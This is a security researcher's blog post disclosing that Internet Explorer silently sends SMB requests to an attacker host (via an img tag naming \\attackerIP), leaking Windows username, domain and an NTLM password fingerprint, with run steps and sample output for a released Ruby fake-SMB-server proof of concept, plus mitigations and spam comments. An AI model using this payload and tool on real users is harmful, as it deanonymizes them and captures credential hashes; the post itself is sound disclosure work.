Identifying Internet Explorer User with a SMB Query

You liked this post, share it !
The death of IE

As part of our research on browser private mode that I presents this morning at Usenix Security, I took a look at how Internet Explorer handles SMB (Server Message Block) query. Turns out that because Internet Explorer (IE) processes SMB (Windows file sharing URL) automatically  it is possible to use the SMB protocol to identify the Internet Explorer User with 100% accuracy.

Internet Explorer uses the same rendering engine than the Windows Explorer called the Trident engine. The good part of this is that you can type a window sharing file path in your url bar like “\\myserver\mydir\myfile”, and Internet Explorer will seamlessly download it. Similarly  Internet Explorer is also able to browse Windows shared file directories in a transparent fashion.

The ugly part of this is that if an attacker include an img tag in a page that contains a SMB link like <img src=”\\attackerIP\a.jpg”>, Internet Explorer will process it and issue the SMB request without prompting the user. Why it is a bad thing ?Well if you look at the SMB specification you will see that if the server denies the SMB request the client (here IE) will  try to authenticate using a NTLM/NTLM2 challenge. The bad part for privacy it that during this challenge IE will send your Windows username, domain name, windows version and a “fingerprint” of your password (NTLM v1 only, details later in this post)

The net result of this behavior is that no matter if you are using the Inprivate mode or a HTTP proxy: the attacker knows your Windows username, domain and password fingerprint because of this request so any privacy measures on IE are useless because unless you change your windows username and password and domain/group name a remote attacker will know who you are.

I contacted Microsoft about this, they told me they were aware of the issue and it was a feature so today I am releasing the POC (download it here) I wrote to demo this. It is based on Hernan Ochoa POC for the NTLM weak nonce attack and is written in ruby. So feel free to test it :)

To launch it just use the standard ruby command : “ruby ./smb.rb” that is it, it will bind a fake SMB server on your computer and will listen for incoming connection. As soon as he will see one, he will deny it and at the second request give you the victim username, domain and window version.  To trigger it you can either directly type on your IE url bar “\\ipoftheserver\a.jpg” or create a page with a image link that point to your fake server ip address. The POC can be improved to have it own web server for this but I felt it was superflous. If you wrote it let me know I will be happy to update the POC :)

If things works correctly you will see the following output :

[code]

linux:~# ruby ./smb.rb
Windows SMB Deanonymizer
(c) 2010 Elie Bursztein web@elie.im
Based on Hernan Ochoa (hernan@gmail.com) poc for smb weak challenge
waiting for connections from victim
1
neg proto request received
neg proto response sent
session setup and request received!
session setup and access denied sent!
session setup andx request with creds received!
ansi 000000000000000000000000000000000000000000000000
NTLM v2 auth
unicode 195ccaab0ede1dcd2f61ec1a82ddb64c01010000000000000
cd7fe447439cb01d4436d39988bfaa900000000020000000000000000000000
user: Elie
domain: Jade
os:

[/code]

Three technicals notes on this attacks

  1. You get only a fingerprint of the password when a NTLM v1 challenge is used (2k, XP, Vista)  because  with NTLM1 only the server (meaning my code) select a challenge which is in our case fixed. In NTLM v2 the client also choose a challenge so the fingerprint is not possible anymore so we don’t get a fingerprint for Window 7
  2. While doing test over the Internet, I found out that many ISP block request on the port 445 so  in practice if you don’t have the right hosting provider you can’t make it work over the internet
  3. Remember the fake smb server run on the port 445 so you need to be root to launch it.

Possible mitigations include: Microsoft restricting SMB query over local network, Firewalling outbound SMB request (always a good idea), use another browser.

Elie Bursztein is a researcher at Google where he works on fixing Internet security and privacy problems.
  • http://keephide.us Kerstin Wittenbrink

    Honestly, I cannot forsee anyone doing this for anything other than malicious reasons, but for knowledge’s sake, look up Windows RAS. Very easy to setup.

  • Nicolas

    Have you been living in a cave for the last 10 years??? These trick is known for years and is in Metasploit since a while (smb server)…

    • https://elie.im Elie Bursztein

      I agree that using a fake SMB server to do a “passthehash” authentication is know for a decade. Here I am stating that you can use it to breach IE private mode. Same idea different application and scope 

  • Sarah

    I would be so sad if Internet died.

  • http://koked.com/ nka(4g0y516z7ja)cb8gto063wx1zxdp1yy9)8r(11ru5e[4q6n7ud0exxhzf41f71wc1m74y[6wy(tymgaujq74tyuvbjw[f08r)jr7c84qeptv2whkv7t1tpfh620e5hpqh5ib)cb5)9cppp9w56iopw6udx6])c3ujkuu0[16dgmssm4p2mu389y7vtq[[b8n7)91jq[mu023qf5egkjf4p160l]nzhoe6o)90o[3i5keqg)uzevpnjaju(s

    JLj0x55frVc.. May I repost it? :)

  • http://koked.com/ tyu5(abjcv2r)[](5)nseg9])7hn(1b)9[26f4dl]a9bzm(n5xfaxr4xoay[26lkd29aopl7hvzz(0ydl0r8hbpp7bum(b2mzb6vh)vlpvgnb6p0syfh9ei[93fmw(]ol26y9)whnbfxgg3rj9oc7tt)tvihjalr5v0irfiqkb3fy0l26oswjgi)808rw7uj5(u[c)rtkuao6zfb]8lhnz18n21wh3uhkb2ogdti7drcy0o2pfjj](p(w1ybwc8

    Comment page 1.. Awesome :)

  • Pingback: phen375 review

  • Mdsifatu128

    So informative things are provided here. I am really happy to read this
    post.I have got the valuable information and have bookmarked it already
    for more.
    i miss you quotes

Popular blog posts
Latest social News
New survey: 19% of users use their browser private mode - http://t.co/2BTgm6SA #security #privacy #infosec #smo
19% of users use their browser private mode - http://t.co/ed2NqpaZ #security #privacy #infosec
1 day ago
Blizzard fixing GAME Australia's bankruptcy mess, giving Diablo 3 to those who preordered - http://t.co/JjpVm5X5 #d3 #diablo #diablo3
SessionJuggler Secure Web Login from an Untrusted Terminal Using Session Hijacking - http://t.co/IRQsBcVY #security #infosec #www2012...
Fascinating: An interview with a cybercriminal - http://t.co/amO1M5wN < guy operate a 10k botnet. #botnet #security #infosec